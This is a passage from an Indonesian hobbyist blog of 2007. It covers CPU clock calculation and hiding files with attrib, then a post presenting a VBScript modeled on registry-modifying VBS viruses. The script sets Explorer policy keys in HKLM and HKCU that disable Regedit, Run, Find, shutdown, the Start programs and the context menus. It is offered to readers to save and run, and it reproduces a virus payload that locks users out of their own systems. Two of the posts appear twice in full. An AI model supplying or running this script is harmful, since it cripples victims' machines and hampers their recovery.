untuk mengetahui clock prosesor,dapat dilihat dari perkalian multiplier dengan bus speed..
rumusnya
Multiplier X bus speed = clock processor
contoh :
9 X 133 = 1200
"angka 9 merupakan multiplier, angka 133 merupakan bus speed dan hasilnya 1200 adalah kecepatan prosesor kita (dalam satuan MHz)
note : untuk multiplier dan bus speed dapat diubah melalui BIOS
buat yg suka utak atik kecepatan prosesor rumus ini sangat ampuh untuk mengetahui kecepatan prosesor yg akan kita dapat setelah menaikkan perkaliannya
sayangnya beberapa prosesor yang beredar, dikunci multipliernya sehingga kita tidak dapat menaikkannya..
Monday, August 13, 2007
hidden dan unhidden file
buat yg ingin menyembunyikan (hidden) file di windows dapat menggunakan fasilitas attrib di windows (lewat command prompt)
langsung aja yah....
buat meng-hidden :
attrib +h [nama file]
buat memunclkan lagi (unhiden)
attrib -h [nama file]
Note : tanda + dan - untuk membiri sifat... +h = menambah attribut hidden -h = menghilangkan attribut hidden
selain opsi h ada beberapa opsi lain :
h = hidden
s = system
r = read-only
a = archive
langsung aja yah....
buat meng-hidden :
attrib +h [nama file]
buat memunclkan lagi (unhiden)
attrib -h [nama file]
Note : tanda + dan - untuk membiri sifat... +h = menambah attribut hidden -h = menghilangkan attribut hidden
selain opsi h ada beberapa opsi lain :
h = hidden
s = system
r = read-only
a = archive
Friday, August 10, 2007
VBS (Visual Basic Script) buat policy Registry
mungkin kita pernah mendengar virus yang dibuat dengan Visual Basic Script(VBS) yang dapat memodifikasi Registry Editor...
karena VBS dapat berjalan tanpa menampilkan apapun (stealth) tetapi sebenarnya dia sudah bekerja...
namun banyak yang belum tahu bagaimana cara membuatnya dan bagaimana perintah VBS untuk mengendalikan Registry Editor..
di sini saya memanfaatkan WSH (Windows Scripting Host) yaitu perizinan menjalankan script di OS Windows
langsung aja yah..ini contoh VBS yang saya buat...
ketik aja di notepad trus save dengan extension ".vbs" misal "belajar.vbs"
----------------------------------------------------------------------------------------
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableRegistryTools" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrograms" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableRegistryTools" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrograms" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu" , 1 , "REG_DWORD"
----------------------------------------------------------------------------------------
karena VBS dapat berjalan tanpa menampilkan apapun (stealth) tetapi sebenarnya dia sudah bekerja...
namun banyak yang belum tahu bagaimana cara membuatnya dan bagaimana perintah VBS untuk mengendalikan Registry Editor..
di sini saya memanfaatkan WSH (Windows Scripting Host) yaitu perizinan menjalankan script di OS Windows
langsung aja yah..ini contoh VBS yang saya buat...
ketik aja di notepad trus save dengan extension ".vbs" misal "belajar.vbs"
----------------------------------------------------------------------------------------
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableRegistryTools" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrograms" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableRegistryTools" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrograms" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu" , 1 , "REG_DWORD"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu" , 1 , "REG_DWORD"
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